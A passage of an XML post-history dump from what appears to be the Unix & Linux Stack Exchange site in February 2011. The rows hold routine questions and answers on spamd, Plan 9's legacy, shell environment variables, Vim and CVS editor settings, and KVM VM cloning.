783:&#xD;&#xA;&#xD;&#xA;[root@vps exim]# netstat -anp | grep 783&#xD;&#xA;tcp        0      0 127.0.0.1:783               0.0.0.0:*                   LISTEN      21602/spamd.pid&#xD;&#xA;&#xD;&#xA;If any of you runs their servers on VPSes and are able to communicate with spamd, please tell me where to look.&#xD;&#xA;&#xD;&#xA;Af it might help, I can connect to the POP3 port on this server from remote locations, BUT not from localhost (127.0.0.1)! &#xD;&#xA;Since spamd is set to listen on 127.0.0.1, I cannot test it from a remote server, and I don't intend to change it to listen on the public IP for test purposes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Could it be something I need to change on the Linux? &#xD;&#xA;" />
  <row Id="19612" PostHistoryTypeId="1" PostId="8336" RevisionGUID="e523e8d7-0964-4200-a0fa-518779ca2859" CreationDate="2011-02-28T16:28:29.623" UserId="5204" Text="SpamAssassin Under Linux VPS" />
  <row Id="19613" PostHistoryTypeId="3" PostId="8336" RevisionGUID="e523e8d7-0964-4200-a0fa-518779ca2859" CreationDate="2011-02-28T16:28:29.623" UserId="5204" Text="élinuxà" />
  <row Id="19614" PostHistoryTypeId="2" PostId="8337" RevisionGUID="3586a7b8-9866-44e4-8250-a29548d2059c" CreationDate="2011-02-28T16:28:34.770" UserId="3635" Text="[Plan 9][1] was developed by Bell Labs as a successor to Unix. Although for various reasons it never quite materialized as such, a fair amount of development still went into Plan 9. &#xD;&#xA;&#xD;&#xA;My question is, what - if anything - from Plan 9 has made its way into modern Unix?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://plan9.bell-labs.com/plan9/" />
  <row Id="19615" PostHistoryTypeId="1" PostId="8337" RevisionGUID="3586a7b8-9866-44e4-8250-a29548d2059c" CreationDate="2011-02-28T16:28:34.770" UserId="3635" Text="What aspects of Plan 9 have made their way into Unix?" />
  <row Id="19616" PostHistoryTypeId="3" PostId="8337" RevisionGUID="3586a7b8-9866-44e4-8250-a29548d2059c" CreationDate="2011-02-28T16:28:34.770" UserId="3635" Text="éunixà" />
  <row Id="19617" PostHistoryTypeId="5" PostId="8065" RevisionGUID="bb6b8f1d-4d48-477c-9533-998eea28b8ac" CreationDate="2011-02-28T16:42:03.743" UserId="3635" Comment="Formatting to make body consistent with linux tag" Text="### Further reading&#xD;&#xA;- [Why do we use su - and not just su?][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/7013/why-do-we-use-su-and-not-just-su" />
  <row Id="19618" PostHistoryTypeId="24" PostId="8065" RevisionGUID="bb6b8f1d-4d48-477c-9533-998eea28b8ac" CreationDate="2011-02-28T16:42:03.743" Comment="Proposed by 3635 approved by 73 edit id of 170" />
  <row Id="19619" PostHistoryTypeId="2" PostId="8338" RevisionGUID="d607463b-404f-41bb-bd41-52fc262c1233" CreationDate="2011-02-28T16:45:57.220" UserId="3389" Text="The /proc filesystem in Linux is a Plan 9 idea." />
  <row Id="19620" PostHistoryTypeId="2" PostId="8339" RevisionGUID="c7fe7fe6-2106-48f4-b68f-e7f25c719267" CreationDate="2011-02-28T17:16:59.500" UserId="2689" Text="I have in my .cvsrc:&#xD;&#xA;&#xD;&#xA;    cvs -q -e vim&#xD;&#xA;&#xD;&#xA;I want to create an alias (like rvim or something like that):&#xD;&#xA;&#xD;&#xA;    alias rvim=&quot;vim -S ~/myscript.vim&quot;&#xD;&#xA;&#xD;&#xA;And do &#xD;&#xA;&#xD;&#xA;    cvs -q -e rvim&#xD;&#xA;&#xD;&#xA;Unfortunately, this doesn't work. What do I have to do to make an alias work inside `cvs -e` parameter?" />
  <row Id="19621" PostHistoryTypeId="1" PostId="8339" RevisionGUID="c7fe7fe6-2106-48f4-b68f-e7f25c719267" CreationDate="2011-02-28T17:16:59.500" UserId="2689" Text="Specify an alias in preferred editor in .cvsrc?" />
  <row Id="19622" PostHistoryTypeId="3" PostId="8339" RevisionGUID="c7fe7fe6-2106-48f4-b68f-e7f25c719267" CreationDate="2011-02-28T17:16:59.500" UserId="2689" Text="évimàéaliasàécvsàécvsrcà" />
  <row Id="19623" PostHistoryTypeId="25" PostId="8337" RevisionGUID="b787d296-6ad8-45ed-afaf-e77540e0e691" CreationDate="2011-02-28T17:23:32.867" Comment="http://twitter.com/#!/StackUnix/status/42273709922336768" />
  <row Id="19624" PostHistoryTypeId="2" PostId="8340" RevisionGUID="ff232df1-1c44-4663-b9c7-fabefe596364" CreationDate="2011-02-28T17:35:04.960" UserId="732" Text="The clone(2) system call in linux is said to have been modeled after Plan 9's rfork() (http://news.ycombinator.com/item?id=863939, I personally don't see how the timing works out). &#xD;&#xA;&#xD;&#xA;This paper: http://www.kernel.org/doc/ols/2006/ols2006v1-pages-101-112.pdf claims that Plan 9 inspired the &quot;mount/filesystem namespace&quot;.&#xD;&#xA;&#xD;&#xA;The /proc filesystem appears to have come to Plan 9 from 8th Edition Unix: http://en.wikipedia.org/wiki/Procfs , rather than the other way around." />
  <row Id="19625" PostHistoryTypeId="2" PostId="8341" RevisionGUID="86108183-65be-4056-b00d-38da8b3a1b7d" CreationDate="2011-02-28T17:44:52.910" UserId="732" Text="DCE/DFS always had at least 3 strikes against it:&#xD;&#xA;&#xD;&#xA;1. It was outlandishly complicated.&#xD;&#xA;2. It was costly.&#xD;&#xA;3. It was proprietary.&#xD;&#xA;&#xD;&#xA;I know, they released DCE 1.1 as more-or-less open source, but by then, it was too late.&#xD;&#xA;&#xD;&#xA;I've always had good luck with NFS, V3 or later, but then I'm not what you call a demanding user.  I have the impression that a lot of places use Samba servers with CIFS, but I don't have direct experience." />
  <row Id="19626" PostHistoryTypeId="5" PostId="8333" RevisionGUID="eca94eec-d277-4add-8f5d-c1b6a371171f" CreationDate="2011-02-28T18:22:48.213" UserId="4856" Comment="added 420 characters in body" Text="Hello all,&#xD;&#xA;&#xD;&#xA;I am having this annoying issue with Vim. I like the fact that I can be editing a file and then type :make to automatically execute a Makefile in the same directory. However, Vim is changing my directory after it is executed. For example, if my source file is /some/dir/source.c and it needs to be compiled in /some/dir/library/, my makefile first copies the file to the library folder and then executes another makefile.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    move_files:&#xD;&#xA;        cp /some/dir/source.c /some/dir/library/&#xD;&#xA;        pushd /some/dir/libary/; make &amp;&amp; su -c &quot;make install&quot;; popd&#xD;&#xA;&#xD;&#xA;The problem happens after compilation finishes. If I launch vim as 'vim /some/dir/source.c' and then use :make, when the compile finishes I am looking at '/some/dir/libary/source.c'. I would like to be looking at the file in the original location.&#xD;&#xA;&#xD;&#xA;Does this make sense? What can I do to disable this behavior?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;**UPDATE** &#xD;&#xA;I was mistaken before -- when the make completes, a new buffer is opened in my window which has the copied header file (even if I was editing the .c before the compile). So I open /some/dir/source.c, then do :make, then in my current window a new buffer is opened with /some/dir/library/source.h. Weird? The original buffer is still open, but I need to switch back to it since its now in the background.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19627" PostHistoryTypeId="2" PostId="8342" RevisionGUID="c600c92f-a966-45b3-80f5-427dd71bb5ec" CreationDate="2011-02-28T18:31:16.203" UserId="2689" Text="Suppose I have&#xD;&#xA;&#xD;&#xA;    export MY_VAR=0&#xD;&#xA;&#xD;&#xA;in `~/.bashrc`.&#xD;&#xA;&#xD;&#xA;I have an opened gnome terminal, and in this terminal, I change `$MY_VAR` value to `200`. So, if I do&#xD;&#xA;&#xD;&#xA;    echo $MY_VAR&#xD;&#xA;&#xD;&#xA;in this terminal, `200` is shown.&#xD;&#xA;&#xD;&#xA;Now, I opened another tab in my gnome terminal, and do &#xD;&#xA;&#xD;&#xA;    echo $MY_VAR&#xD;&#xA;&#xD;&#xA;...and instead of `200`, I have `0`.&#xD;&#xA;&#xD;&#xA;What should I do to persist the 200 value when a terminal modifies an environment variable, making this modification (setting to 200) available to all subsequent sub shells and such? Is this possible?" />
  <row Id="19628" PostHistoryTypeId="1" PostId="8342" RevisionGUID="c600c92f-a966-45b3-80f5-427dd71bb5ec" CreationDate="2011-02-28T18:31:16.203" UserId="2689" Text="Export an env variable to be available at all sub shells, and possible to be modified?" />
  <row Id="19629" PostHistoryTypeId="3" PostId="8342" RevisionGUID="c600c92f-a966-45b3-80f5-427dd71bb5ec" CreationDate="2011-02-28T18:31:16.203" UserId="2689" Text="ébashàéshellàéenvironmentövariablesà" />
  <row Id="19630" PostHistoryTypeId="4" PostId="8339" RevisionGUID="085ae285-3455-4c2e-9255-ab512f99c51e" CreationDate="2011-02-28T18:32:52.353" UserId="2689" Comment="edited title" Text="Specify an alias as preferred editor in rc files (like .cvsrc)?" />
  <row Id="19631" PostHistoryTypeId="5" PostId="8048" RevisionGUID="26e639ab-cbc9-4fe2-b8bc-e5c83247beb9" CreationDate="2011-02-28T18:34:43.867" UserId="5094" Comment="link to dmesg" Text="I got a Vodafone K3760 at some point in Debian/Lenny's lifetime, for use with a Lenovo S10e.  I installed (from the Vodafone BetaVine site) usb-modeswitch 0.97 and vodafone-mobile-connect (VMC) 2.10.01-1 (or maybe it was actually vodafone-mobile-connect_svn20090615) and it all worked pretty well.&#xD;&#xA;&#xD;&#xA;After the squeeze update I have had less luck.  Unlike lenny, squeeze includes usb_modeswitch 1.1.4-2, and I also grabbed vodafone-mobile-connect 2.25.01.  It does actually work... for a few minutes, then the system locks up (or sometimes the gnome panel dies, but xterms on-screen continue to work).&#xD;&#xA;&#xD;&#xA;Anyone know what magic combinations of packages, if any, will work reliably with Squeeze ?&#xD;&#xA;&#xD;&#xA;(The obvious next thing for me to try is to revert the relevant packages to their older versions; VMC does have quite a lot of dependencies though so I'm not too sure how well this will work).&#xD;&#xA;&#xD;&#xA;There's another school of thought which says forget about vodafone's app and just use the new Gnome network manager's mobile broadband support.  I haven't tried this yet, but I kind of like the vodafone app (for it's usage monitoring, and for it's access to SMS messages on the K3760; these are pretty important if you travel abroad and want to see what outrageous charges you'll be stung for if you dare connect).  But if Gnome or other apps provide such functionality, I'd happily drop the Vodafone software.&#xD;&#xA;&#xD;&#xA;Thanks for any advice&#xD;&#xA;&#xD;&#xA;Just to be clear: the system is rock solid when using wired or built-in wifi connection.  Inserting the dongle seems to be pretty safe; the problems start once connected.&#xD;&#xA;&#xD;&#xA;**Update 1:** I couldn't revert to the older vodafone mobile connect because of various python dependencies not in squeeze.  Reverting to the older usb_modeswitch seems to be possible, but at least this once I got a spew of kernel bug notifications (alas, these don't seem to submit anything useful: [example][1]) and got about 30mins uptime before a lockup.  I'm not too sure what to make of dmesg (have got some saved); there are clearly some call stacks into serio_interrupt in i8042_interrupt in  ...a pile of handle IRQ functions ... but there are other ones too.&#xD;&#xA;&#xD;&#xA;**Update 2:** I managed to get a dmesg log of some kernel errors from the &quot;all-squeeze&quot; version (not using any modules from the older setup) before lockup.  This can be found [here][2]; no idea how to interpret it myself. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.kerneloops.org/submitresult.php?number=2721111&#xD;&#xA;  [2]: http://www.bottlenose.demon.co.uk/flaky.txt" />
  <row Id="19632" PostHistoryTypeId="5" PostId="8333" RevisionGUID="85890266-1082-4baa-9b20-ea095b6ed198" CreationDate="2011-02-28T18:37:27.343" UserId="4856" Comment="updated question" Text="OK, I posted this question before I knew the extent of what was happening. Suppose I have a mix of Python and C++ code. I use a simple makefile which copies the files from my editing directory to where they are compiled (with a separate makefile.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;my_stuff:&#xD;&#xA;        cp source.c source.h /some/other/dir&#xD;&#xA;        pushd /some/other/dir; make &amp;&amp; su -c &quot;make install&quot;; popd&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Originally I was editing source.c, running :make, and then a new buffer opened in my current window (replacing source.c) with /some/other/dir/source.h. I then tried this again while editing some_python.py and running :make and yet again it opened /some/other/dir/source.h. Can anyone explain this? Am I going crazy?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Hello all,&#xD;&#xA;&#xD;&#xA;I am having this annoying issue with Vim. I like the fact that I can be editing a file and then type :make to automatically execute a Makefile in the same directory. However, Vim is changing my directory after it is executed. For example, if my source file is /some/dir/source.c and it needs to be compiled in /some/dir/library/, my makefile first copies the file to the library folder and then executes another makefile.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    move_files:&#xD;&#xA;        cp /some/dir/source.c /some/dir/library/&#xD;&#xA;        pushd /some/dir/libary/; make &amp;&amp; su -c &quot;make install&quot;; popd&#xD;&#xA;&#xD;&#xA;The problem happens after compilation finishes. If I launch vim as 'vim /some/dir/source.c' and then use :make, when the compile finishes I am looking at '/some/dir/libary/source.c'. I would like to be looking at the file in the original location.&#xD;&#xA;&#xD;&#xA;Does this make sense? What can I do to disable this behavior?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;**UPDATE** &#xD;&#xA;I was mistaken before -- when the make completes, a new buffer is opened in my window which has the copied header file (even if I was editing the .c before the compile). So I open /some/dir/source.c, then do :make, then in my current window a new buffer is opened with /some/dir/library/source.h. Weird? The original buffer is still open, but I need to switch back to it since its now in the background.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19633" PostHistoryTypeId="2" PostId="8343" RevisionGUID="1809a592-1204-4e8c-9327-11c988b55d76" CreationDate="2011-02-28T18:39:42.393" UserId="1466" Text="The obvious one is probably UTF-8. But that's probably *too* obvious.&#xD;&#xA;&#xD;&#xA;Al Viro's grand re-architecturing of the Linux VFS is heavily inspired by Plan9. Especially the shift from &quot;Everything Is A File&quot; to &quot;&amp;hellip; And Every File Is A Mount Point&quot;." />
  <row Id="19635" PostHistoryTypeId="2" PostId="8344" RevisionGUID="02add03f-f1e4-478d-8c6d-a2920a7a3046" CreationDate="2011-02-28T18:53:47.703" UserId="2511" Text="A _copy_ of the environment propagates to sub-shells, so this works:&#xD;&#xA;&#xD;&#xA;    $ export MY_VAR=200&#xD;&#xA;    $ bash&#xD;&#xA;    $ echo $MY_VAR&#xD;&#xA;    200&#xD;&#xA;&#xD;&#xA;but since it's a copy, you can't get that value up to the parent shell — not by changing the environment, at least.&#xD;&#xA;&#xD;&#xA;It sounds like you actually want to go a step further, which is to make something which acts like a global variable, shared by &quot;sibling&quot; shells initiated separately from the parent — like your new tab in Gnome Terminal.&#xD;&#xA;&#xD;&#xA;Mostly, the answer is &quot;you can't, because environment variables don't work that way&quot;. However, there's another answer, which is, well, you can always hack something up. One approach would be to write the value of the variable to a file, like `~/.myvar`, and then include that in `~/.bashrc`. Then, each new shell will _start_ with the value read from that file.&#xD;&#xA;&#xD;&#xA;You could go a step further -- make `~/.myvar` be in the format `MYVAR=200`, and then set `PROMPT_COMMAND=source ~/.myvar', which would cause the value to be re-read every time you get a new prompt. It's still not _quite_ a shared global variable, but it's starting to act like it. It won't activate until a prompt comes back, though, which depending on what you're trying to do could be a serious limitation.&#xD;&#xA;&#xD;&#xA;And then, of course, the next thing is to automatically _write_ changes to `~/.myvar`. That gets a little more complicated, and I'm going to stop at this point, because really, environment variables were not meant to be an inter-shell communication mechanism, and it's better to just find another way to do it." />
  <row Id="19636" PostHistoryTypeId="2" PostId="8345" RevisionGUID="76205969-3bf2-41b2-b8a8-6a7164ba0cac" CreationDate="2011-02-28T19:09:09.257" UserId="4648" Text="I don't know how to get the alias to work inside CVS, but what you can do is write a script which invokes vim the way you want.&#xD;&#xA;&#xD;&#xA;The script would simply be:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    vim -S ~/myscript.vim &#xD;&#xA;&#xD;&#xA;And then just save it somewhere in your `$PATH` with the name `rvim` (for example `/usr/local/bin/rvim`), and you should be able to use `rvim` as a command both on your command-line and from within CVS." />
  <row Id="19638" PostHistoryTypeId="2" PostId="8347" RevisionGUID="a8a24d02-b731-4ff0-a5b4-9a6e579445cc" CreationDate="2011-02-28T19:36:45.753" UserId="4812" Text="The `/proc` filesystem is a pseudo-filesystem. It is a convenient way of transferring memory from user space to kernel space and vice versa.&#xD;&#xA;&#xD;&#xA;Each entry(file or directory) in the `/proc` directory is created by a part of the kernel. Each entry can be read and/or write. They can be opened from the userspace like any normal file. Entries are created in roughly the following manner (inside a kernel module): &#xD;&#xA;&#xD;&#xA;procentry1 = create_proc_entry(path);&#xD;&#xA;procentry1-&gt;read = read_function1;&#xD;&#xA;procentry-&gt;write = write_function1;&#xD;&#xA;&#xD;&#xA;So you roughly specify the path to be created, and functions that are to be called on read/write (You need one or both of them). The read function returns a string(like a file read call), while the write function takes a string. The corresponding read and write functions are called, whenever a program tries to read/write to the corresponding proc file path." />
  <row Id="19640" PostHistoryTypeId="2" PostId="8348" RevisionGUID="b4bfd7b3-70f5-4916-a6de-a36bb02cd1e9" CreationDate="2011-02-28T19:40:41.033" UserId="3389" Text="Don't use environment variables at all.  Use files.&#xD;&#xA;&#xD;&#xA;To prevent processes from stepping on each other when updating/reading the file, use lockfiles and small front-end updater scripts whose purpose is just updating a file with $1 if it's not locked.  Lockfiles are implemented by basically checking if a specific file exists (/var/run/yourscript.lck) and if it does, wait for the file to disappear for a while, and fail if it doesn't.  Also you must delete the lockfile when done updating the file.&#xD;&#xA;&#xD;&#xA;Be prepared to handle a situation where a script can't update a file because the file is busy.&#xD;&#xA;" />
  <row Id="19641" PostHistoryTypeId="2" PostId="8349" RevisionGUID="7023c73f-c041-48f1-b2ba-995b1e1a65d0" CreationDate="2011-02-28T19:44:13.720" UserId="5211" Text="hi.. so im using putty &gt; screen &gt; vim and screen is sending the same sequence for Ctrl+Right and Right in application mode for vim.  &#xD;&#xA;&#xD;&#xA;There is an option to make putty send the cursor mode sequences (disable application cursor keys mode) when in application mode and that works, but when screen is introduced, something isn't right.&#xD;&#xA;&#xD;&#xA;How would I go about fixing this?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19642" PostHistoryTypeId="1" PostId="8349" RevisionGUID="7023c73f-c041-48f1-b2ba-995b1e1a65d0" CreationDate="2011-02-28T19:44:13.720" UserId="5211" Text="Ctrl + Right and Right send same Sequence in Putty &gt; Screen &gt; Vim" />
  <row Id="19643" PostHistoryTypeId="3" PostId="8349" RevisionGUID="7023c73f-c041-48f1-b2ba-995b1e1a65d0" CreationDate="2011-02-28T19:44:13.720" UserId="5211" Text="évimàéscreenàéputtyà" />
  <row Id="19644" PostHistoryTypeId="2" PostId="8350" RevisionGUID="64ed3b96-146b-458d-8196-9284e9bbca8f" CreationDate="2011-02-28T19:56:48.157" UserId="5212" Text="Currently, a causal browse through a number of Linux distros show spotty Poulsbo drivers at best. Has any headway been made recently towards either convincing Intel to coax the driver source out of PowerVR or an acceptable (I can install it without low frame rates, involved steps and without fear that a kernel update will break it) OSS driver solution? I would love to put Linux on my little Acer netbook but I rely on it too much to install a nerfed driver." />
  <row Id="19645" PostHistoryTypeId="1" PostId="8350" RevisionGUID="64ed3b96-146b-458d-8196-9284e9bbca8f" CreationDate="2011-02-28T19:56:48.157" UserId="5212" Text="State of Poulsbo/GMA 500 drivers" />
  <row Id="19646" PostHistoryTypeId="3" PostId="8350" RevisionGUID="64ed3b96-146b-458d-8196-9284e9bbca8f" CreationDate="2011-02-28T19:56:48.157" UserId="5212" Text="élinuxàédriversàéhardwareöcompatibilityàégraphicsà" />
  <row Id="19647" PostHistoryTypeId="2" PostId="8351" RevisionGUID="468b9573-2a7e-4ff1-9ca3-06b526385973" CreationDate="2011-02-28T20:19:43.043" UserId="5213" Text="I'm a bit lost with virt-manager / libvirt / KVM.&#xD;&#xA;&#xD;&#xA;I've got a working KVM VM (Windows XP) which works nicely.&#xD;&#xA;&#xD;&#xA;The VM is backed by a 4GB file or so (a *.img*).&#xD;&#xA;&#xD;&#xA;Now I want to do something very simple: I want to duplicate my VM.&#xD;&#xA;&#xD;&#xA;I thought *&quot;OK, no problem, let's copy the 4GB file and copy the XML&quot;* file.&#xD;&#xA;&#xD;&#xA;But then the libvirt FAQ states in all uppercase: *&quot;you SHOULD NOT CARE WHERE THE XML IS STORED&quot;*&#xD;&#xA;&#xD;&#xA;http://wiki.libvirt.org/page/FAQ&#xD;&#xA;&#xD;&#xA;OK fine, I shouldn't care.  But then how do I duplicate my VM?&#xD;&#xA;&#xD;&#xA;I want to create a new VM that is a copy of that VM.&#xD;&#xA;" />
  <row Id="19648" PostHistoryTypeId="1" PostId="8351" RevisionGUID="468b9573-2a7e-4ff1-9ca3-06b526385973" CreationDate="2011-02-28T20:19:43.043" UserId="5213" Text="How to create a dupe of a KVM/libvirt/virt-manager VM?" />
  <row Id="19649" PostHistoryTypeId="3" PostId="8351" RevisionGUID="468b9573-2a7e-4ff1-9ca3-06b526385973" CreationDate="2011-02-28T20:19:43.043" UserId="5213" Text="élinuxàékvmà" />
  <row Id="19650" PostHistoryTypeId="25" PostId="8339" RevisionGUID="0c58e613-4b95-40f6-b704-d245f2aa6b20" CreationDate="2011-02-28T20:23:32.533" Comment="http://twitter.com/#!/StackUnix/status/42319008309059584" />
  <row Id="19651" PostHistoryTypeId="2" PostId="8352" RevisionGUID="cb09ccbf-0711-4fa1-bbd8-b9d6c175fbc3" CreationDate="2011-02-28T20:25:48.170" UserId="4724" Text="Original:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;Jan 23 2011 10:42 SOMETHING 2007.12.20.avi&#xD;&#xA;Jun 26 2009 SOMETHING 2009.06.25.avi&#xD;&#xA;Feb 12 2010 SOMETHING 2010.02.11.avi&#xD;&#xA;Jan 29 2011 09:17 SOMETHING 2011.01.27.avi&#xD;&#xA;Feb 11 2011 20:06 SOMETHING 2011.02.10.avi&#xD;&#xA;Feb 27 2011 23:05 SOMETHING 2011.02.24.avi&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;Feb 27 2011 23:05 SOMETHING 2011.02.24.avi&#xD;&#xA;Feb 11 2011 20:06 SOMETHING 2011.02.10.avi&#xD;&#xA;Jan 29 2011 09:17 SOMETHING 2011.01.27.avi&#xD;&#xA;Jan 23 2011 10:42 SOMETHING 2007.12.20.avi&#xD;&#xA;Feb 12 2010 SOMETHING 2010.02.11.avi&#xD;&#xA;Jun 26 2009 SOMETHING 2009.06.25.avi&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;How could I get the output where the newest file is at the top?" />
  <row Id="19652" PostHistoryTypeId="1" PostId="8352" RevisionGUID="cb09ccbf-0711-4fa1-bbd8-b9d6c175fbc3" CreationDate="2011-02-28T20:25:48.170" UserId="4724" Text="Sorting by date" />
  <row Id="19653" PostHistoryTypeId="3" PostId="8352" RevisionGUID="cb09ccbf-0711-4fa1-bbd8-b9d6c175fbc3" CreationDate="2011-02-28T20:25:48.170" UserId="4724" Text="élinuxàéopenwrtà" />
  <row Id="19654" PostHistoryTypeId="2" PostId="8353" RevisionGUID="043e0957-4f86-4828-905f-cdb11f7f0bad" CreationDate="2011-02-28T20:32:13.080" UserId="3389" Text="TL;DR History of UNIX:&#xD;&#xA;&#xD;&#xA;- 60's: Multics&#xD;&#xA;&#xD;&#xA;- 70's: Hippies are paid to develop an OS for AT&amp;T.  They stole ideas from Multics and timesharing systems, and had to make it super efficient to work on a PDP-11, which is about equivalent in processing power to a NES.&#xD;&#xA;&#xD;&#xA;- 80's: Companies find that UNIX is pretty neat and try to sell it.  This includes Microsoft with their variant, XENIX.  They fight amongst/sue each other, splinter UNIX into incompatible proprietary dialects, and run UNIX into the ground.&#xD;&#xA;&#xD;&#xA;- 90's: Linus Torvalds + 200,000 people from the Internet hack Minix, an educational Linux, into a x86 Unix clone called Linux and it grows slowly while Microsoft says &quot;Screw this UNIX crap&quot; and develops NT, stealing ideas from VMS.&#xD;&#xA;&#xD;&#xA;- 00's: Linux grows, becomes respected server OS.  Proprietary UNIXes are on permanent decline.  Smartphones/mobile devices coming into the picture.  Google twists Linux into a mobile OS, and other companies flirt with putting Linux on mobile devices." />
  <row Id="19655" PostHistoryTypeId="2" PostId="8354" RevisionGUID="df347751-93de-46c6-a86d-0f69a15ce8dc" CreationDate="2011-02-28T20:32:20.543" UserId="5211" Text="hm if i set term = xterm in putty, and term=putty in screenrc, it seems to work." />
  <row Id="19656" PostHistoryTypeId="17" PostId="8356" RevisionGUID="8218c3d6-dc9c-40df-8ddd-369f89e56c8c" CreationDate="2011-02-28T20:33:00.463" UserId="-1" Comment="from http://stackoverflow.com/questions/5139075/understand-error-codes-in-linux/5139108#5139108" Text="" />
  <row Id="19657" PostHistoryTypeId="2" PostId="8356" RevisionGUID="58eceb7e-ac4b-499a-b08c-d4294e544775" CreationDate="2011-02-28T07:09:18.683" UserId="3082" Text="It ultimately ends up in errno.h, after multiple `#include`s That error is ENOMEDIUM, found in `/usr/include/asm-generic/errno.h`. Did you unmount it before removing it?  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="19658" PostHistoryTypeId="2" PostId="8355" RevisionGUID="8426c863-7001-4ce1-89e3-c5831fe87313" CreationDate="2011-02-28T07:02:43.670" UserId="5168" Text="I am working on Linux (Kernel Version 2.6.32.28) laptop.   &#xD;&#xA;After I inserted/did file io/removed a SD combo card, I got following errors: &#xD;&#xA;&#xD;&#xA;    mmcblk0: error -123 sending status command  &#xD;&#xA;    mmcblk0: error -123 sending read/write command, response 0x0, card status 0x0  &#xD;&#xA;    mmcblk0: error -123 sending requesting status &#xD;&#xA;&#xD;&#xA;Now, I would like to understand what these errors mean.&#xD;&#xA;&#xD;&#xA;As I saw few standard error codes are located in arch/powerpc/boot/stdio.h and other scattered at various other places..  &#xD;&#xA;&#xD;&#xA;Is there any systematic way in Linux to track (&amp; understand) the error codes (in the source) ? &#xD;&#xA;&#xD;&#xA;" />
  <row Id="19659" PostHistoryTypeId="1" PostId="8355" RevisionGUID="8426c863-7001-4ce1-89e3-c5831fe87313" CreationDate="2011-02-28T07:02:43.670" UserId="5168" Text="Understand error codes in Linux" />
  <row Id="19660" PostHistoryTypeId="3" PostId="8355" RevisionGUID="8426c863-7001-4ce1-89e3-c5831fe87313" CreationDate="2011-02-28T07:02:43.670" UserId="5168" Text="élinuxà" />
  <row Id="19661" PostHistoryTypeId="17" PostId="8355" RevisionGUID="725b0056-259e-403f-ad57-4b82349c885a" CreationDate="2011-02-28T20:33:00.463" UserId="-1" Comment="from http://stackoverflow.com/questions/5139075/understand-error-codes-in-linux" Text="" />
  <row Id="19662" PostHistoryTypeId="2" PostId="8357" RevisionGUID="64a04771-cc16-40bc-89b1-3d8b34594e9d" CreationDate="2011-02-28T20:34:02.873" UserId="1257" Text="-------------------------------------------------------&#xD;&#xA;`ls -lt`" />
  <row Id="19663" PostHistoryTypeId="2" PostId="8358" RevisionGUID="ec4da420-d1f4-4183-bb19-2bcd4a4da1c2" CreationDate="2011-02-28T20:45:23.677" UserId="5213" Text="Apparently *virt-clone* is the way to go.&#xD;&#xA;&#xD;&#xA;I tried duplicating the XML but it wouldn't appear under virt-manager.&#xD;&#xA;&#xD;&#xA;I still wonder how I can transfer an XML + .img to a new system that said..." />
  <row Id="19664" PostHistoryTypeId="5" PostId="8340" RevisionGUID="50411b42-dfdf-45b5-99ea-336a86dd0099" CreationDate="2011-02-28T21:08:21.900" UserId="3635" Comment="Format hacker news link as a link." Text="The clone(2) system call in linux is said to have been modeled after Plan 9's rfork() ([http://news.ycombinator.com/item?id=863939][1], I personally don't see how the timing works out). &#xD;&#xA;&#xD;&#xA;This paper: http://www.kernel.org/doc/ols/2006/ols2006v1-pages-101-112.pdf claims that Plan 9 inspired the &quot;mount/filesystem namespace&quot;.&#xD;&#xA;&#xD;&#xA;The /proc filesystem appears to have come to Plan 9 from 8th Edition Unix: http://en.wikipedia.org/wiki/Procfs , rather than the other way around.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://news.ycombinator.com/item?id=863939" />
  <row Id="19665" PostHistoryTypeId="24" PostId="8340" RevisionGUID="50411b42-dfdf-45b5-99ea-336a86dd0099" CreationDate="2011-02-28T21:08:21.900" Comment="Proposed by 3635 approved by 885 edit id of 171" />
  <row Id="19666" PostHistoryTypeId="5" PostId="8276" RevisionGUID="4f44b570-1c3f-4b6c-a9a4-5b1dd1b29566" CreationDate="2011-02-28T21:08:35.037" UserId="4812" Comment="changed some grammar problem" Text="The /proc filesystem is a so-called &quot;pseudo filesystem&quot;, meaning that (afaiu) there is no disk usage. &#xD;&#xA;&#xD;&#xA;I'm not quite sure how this works at the lowest level, so I may be wrong, but here goes. If I run&#xD;&#xA;&#xD;&#xA;    f = open('/proc/meminfo')&#xD;&#xA;    f.read()&#xD;&#xA;    f.seek(0)&#xD;&#xA;    f.read()&#xD;&#xA;&#xD;&#xA;I get two different outputs. Afaik, seek(0) only resets the read offset and it doesn't re-open the file. This suggests that re-reading a file is enough to get the new values.&#xD;&#xA;&#xD;&#xA;That said, if you are developing for Linux, getting permanent access to Linux box seems a pretty logical thing to do...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19667" PostHistoryTypeId="24" PostId="8276" RevisionGUID="4f44b570-1c3f-4b6c-a9a4-5b1dd1b29566" CreationDate="2011-02-28T21:08:35.037" Comment="Proposed by 4812 approved by 885 edit id of 172" />
